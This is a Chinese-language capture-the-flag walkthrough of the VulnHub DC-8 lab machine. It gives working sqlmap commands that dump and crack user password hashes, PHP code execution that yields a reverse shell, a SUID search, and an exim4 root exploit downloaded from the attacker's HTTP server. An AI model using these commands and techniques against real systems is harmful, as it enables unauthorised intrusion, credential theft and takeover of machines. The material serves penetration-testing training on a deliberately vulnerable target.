DC-8
准备工作
在vulnhub官网下载DC:8靶机DC: 8 ~ VulnHub
信息收集
namp -sS -sV -p - 192.168.1.17
对目录进行扫描
dirsearch -u http://192.168.1.17
我们先访问80端口看看
观察页面发现这里存在参数变化
尝试加单引号,成功报错
http://192.168.1.17/?nid=3 and 1=1 页面正常
页面有东西消失了,证实存在SQL注入
SQL 注入
sqlmap直接跑
sqlmap -u http://192.168.1.17/?nid=3 --dbs 获取数据库
sqlmap -u http://192.168.1.17/?nid=3 -D d7db --tables 获取d7db数据库下的表
sqlmap -u http://192.168.1.17/?nid=3 --os-shell 尝试获取shell 失败了
sqlmap -u http://192.168.1.17/?nid=3 -D d7db -T users --columns获取字段
sqlmap -u http://192.168.1.17/?nid=3 -D d7db -T users -C name,pass,uid --dump 拿下数据,但是发现是加密的
John解密
使用john解密,只跑出 turtle
尝试登录,发现是john的密码
在一顿翻找过后发现
这里可以执行php代码(这里不能删除第一行的文字,不然会出现错误)
攻击机 监听1234端口 然后正常提交,即可拿到反弹shell
使用python 获取反弹shell
python -c 'import pty;pty.spawn("/bin/bash")'
提权
进行简单信息收集查看具有suid权限的文件
find / -perm -u=s -type f 2>/dev/``null
在这里卡了很久,参考别人文章发现忽略了一个命令 exim4
exim是一款在Unix系统上使用的邮件服务,exim4在使用时具有root权限。查找一下关于exim4的漏洞,首先看看版本
查看版本
找到对应的exp 复制到/tmp 目录下
因为是直接反弹的shell 没有植入后门,然而在 /html目录下没有写入权限 只能想其他办法
经过查阅资料 python打开一个临时的HTTP服务 然后靶机下载文件即可
python -m http.server
靶机下载文件
给予执行权限
但无论执行什么都报错,查了一下是文件格式导致的。要想执行46996.sh文件,需要修改文件format为unix格式
在kali用vi打开脚本修改格式 输入 :set ff=unix,然后再重新上传脚本
使用了第一种方法提权失败-m setuid
第二种方法-m netcat成功,但是不稳定,需要在有root权限的时候反弹shell
拿到flag